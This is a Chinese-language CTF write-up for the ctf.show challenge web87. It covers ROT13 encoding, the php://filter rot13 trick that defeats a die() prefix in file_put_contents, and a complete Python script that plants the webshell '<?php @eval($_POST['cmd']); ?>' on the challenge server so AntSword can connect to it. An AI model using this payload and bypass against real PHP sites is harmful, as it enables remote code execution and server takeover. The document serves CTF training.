基础知识

  • rot13编码:
    即将字符化为ascii🐎后,将其增加13,重新使用chr化为字符,但是注意在实际编写代码的过程中别把超出范围的ascii🐎也给记下来。
    如下为简易的rot13转码脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    def rot_13(content):
    new_content = []
    for s in content:
    if s.isalpha():
    if s.islower():
    new_content.append(chr((ord(s)-ord('a')+13)%26+ord('a')))
    else:
    new_content.append(chr((ord(s)-ord('A')+13)%26+ord('A')))
    else:
    new_content.append(s)
    return "".join(new_content)

    请注意:

    • rot13只对26个字母进行操作,不对其他字符进行操作
    • 在实际编写脚本时,请注意,如z字符,加上13后会导致ascii码溢出,所以需要使用chr((ord(s)-ord('a')+13)%26+ord('a'))防止ascii码溢出。
  • 关于file_put_contents函数补充:
    若该函数未设置FILE_APPEND标志,如下:

    1
    file_put_contents($file,$contents);

    则写入的内容会覆盖原内容,而非追加在原内容后。

  • 关于requests库如何同时传参,可见我对requests库专题讲解的一篇博客。

以web87为例

  • 源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    }else{
    highlight_file(__FILE__);
    }

    由于最后有urldecode指令,所以我们可以传入urlencode的payload,payload被加密后,自然就可以绕过代码块中的过滤指令。

  • 重点是:如何绕过死亡代码die()呢?
    我们提供使用伪协议加密绕过,在之前的web102中提过,在file_put_contents中的第一个参数,即文件传入路径写入协议,那么file_put_content会将传入内容结果经过协议的操作(如不同的解密加密)再写入对应指定文件。
    我们的思路就是,在传入文件路径的参数位置,传入php伪协议,(当然,这道题要传入url加密后的伪协议):
    url解密后如下:

    1
    php://filter/write=string.rot13/resource=1.php

    该指令会使die()函数被加密,导致失效,而已经过rot13加密后的$content再经过rot13处理后则会变为原可执行代码并被写入目标文件。
    我们即可得到一个有可执行恶意代码的php文件供蚁剑连接。

  • 个人提供rot13解密绕过,关于base64解密绕过,可见@Traveler2000的博客:filter 伪协议绕过 die(Web87)
    攻击脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import requests

    url = "http://ad1b0a37-3b18-45ec-b12f-b49d15fb8c4b.challenge.ctf.show/"
    file = "php://filter/write=string.rot13/resource=/var/www/html/1.php"
    content = "<?php @eval($_POST['cmd']); ?>"

    def url_encode(content):#url加密
    new_content = []
    for s in content:
    e_s = "%" + hex(ord(s))[2:].zfill(2)#hex只可以处理整数,应该先使用ord转为整数再转为16进制字符串
    new_content.append(e_s)
    return "".join(new_content)

    def rot_13(content):#rot13加密
    new_content = []
    for s in content:
    if s.isalpha():
    if s.islower():
    new_content.append(chr((ord(s)-ord('a')+13)%26+ord('a')))
    else:
    new_content.append(chr((ord(s)-ord('A')+13)%26+ord('A')))
    else:
    new_content.append(s)
    return "".join(new_content)

    def main():
    #将请求内容按需加密后放入字典中
    file_processed = url_encode(file)
    content_processed = rot_13(content)

    params ={'file':file_processed}
    data ={'content':content_processed}

    #向原网页同时发送post和get请求
    response = requests.post(url,params=params,data=data)
    print({'status_code':response.status_code,})
    print ({'response':response.text})

    if __name__ == '__main__':
    main()
  • 可先访问http://example.com/1.php确认该文件的存在,访问前端会发现,失效的die()指令被回显